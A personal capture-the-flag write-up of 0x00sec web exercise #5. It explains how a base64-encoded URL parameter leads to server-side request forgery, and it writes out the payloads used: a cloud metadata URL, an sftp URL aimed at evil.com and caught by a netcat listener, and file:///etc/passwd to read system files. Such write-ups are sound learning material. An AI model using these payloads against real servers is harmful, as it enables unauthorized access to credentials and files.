Writeup CTF 0x00sec Web - Exercise #5
Another day, another ctf challenge. This time no. 5 of the web exercises
As a small disclaimer, this will be a longer writeup, because I also documented where I was struggling and the dead ends I reached. Which were reached, because I tried to solve the challenge too early 
However, I think this process is also very interesting and I learned a lot!
The Challenge
Like always the first thing we do, is to check out the source code of the login page. As we can find a lot of useful information in there.
Like in the previous exercises we see the hint in the HTML comment.
<!-- TODO: -->
<!-- * Stop relying on Base64! I'm sorry... -->
Furthermore, we see some hidden inputs, which seem interesting.
<input type="hidden" name="ip" value="87.123.162.39">
<input type="hidden" name="p" value="aHR0cHM6Ly9pcGluZm8uaW8vODcuMTIzLjE2Mi4zOQ==">
Now let’s decode the base64 string:
➜ echo "aHR0cHM6Ly9pcGluZm8uaW8vODcuMTIzLjE2Mi4zOQ==" | base64 -D
https://ipinfo.io/87.123.162.39%
So let’s check and click on Login to see what happens.
If we do so, we should see the the output of ipinfo.io.
We can double check with
curl https://ipinfo.io/87.123.162.39
We can now tinker a bit with it. Let’s for example base64 encode http://www.google.de and pass it as the value.
And we see a very weird looking google page. So we can assume, what’s happening in the backend is that the server grabs the base64 encoded string, decodes it, runs maybe a curl on it and renders the results.
But as we control the command parameter, the site is vulnerable to a Server Side Request Forgery Attack
The Attack
Well, we know the vulnerability now, but we do not really know how to abuse it.
Now comes the fun exploration part. We can try different inputs to see what is possible.
However, if you are not interested in the exploration and dead ends I’ve reached, you can skip to URL Scheme.
Exploration
To be honest I was also too much in Hack The Box mood, because I solved a box prior to the challenge and kind of gone bananas with it. I wanted to see what we can get out of it. Even tho, we know that this are Web exercises.
So I did a nmap scan, to see whats running there.
And I also did a whois 138.197.209.37 which returned that the IP belongs to Digital Ocean.
Cloud Meta Data
Well, we know that this is a Digital Ocean Droplet. So these cloud providers have some APIs for meta data. Which can hold interesting information like access keys.
I do not know the URL off my head so I checked PayloadsAllTheThings and encoded http://169.254.169.254/metadata/v1.json as base64 and submitted it.
And we got the response with tons of information. But nothing very useful for now.
URL Scheme
Currently we are providing an URL with http so that the client knows, how to handle it. Now it would be interesting to see if we can access files on the server.
Can we communicate over other protocols?
Spoiler alert: Yes, we can!
I’ve just grabbed the examples from PayloadsAllTheThings and base64 encoded
sftp://evil.com:1337/
But I replaced evil.com with my own server, where I started a netcat listener.
Then I send the request with the encoded sftp url and got a response!
Still cool, but this will get us nowhere. It can’t be that hard right?
But what about the file scheme?
So let’s try to encode file:///etc/passwd as base64 and submit it.
We can again either use CyberChef or your terminal with
echo -n 'file:///etc/passwd' | base64
Change the input value and yep! We can read files. And if we take a closer look to the content of /etc/passwd we can see the flag.
Conclusion
Very cool vulnerability which can be abused in a lot of ways.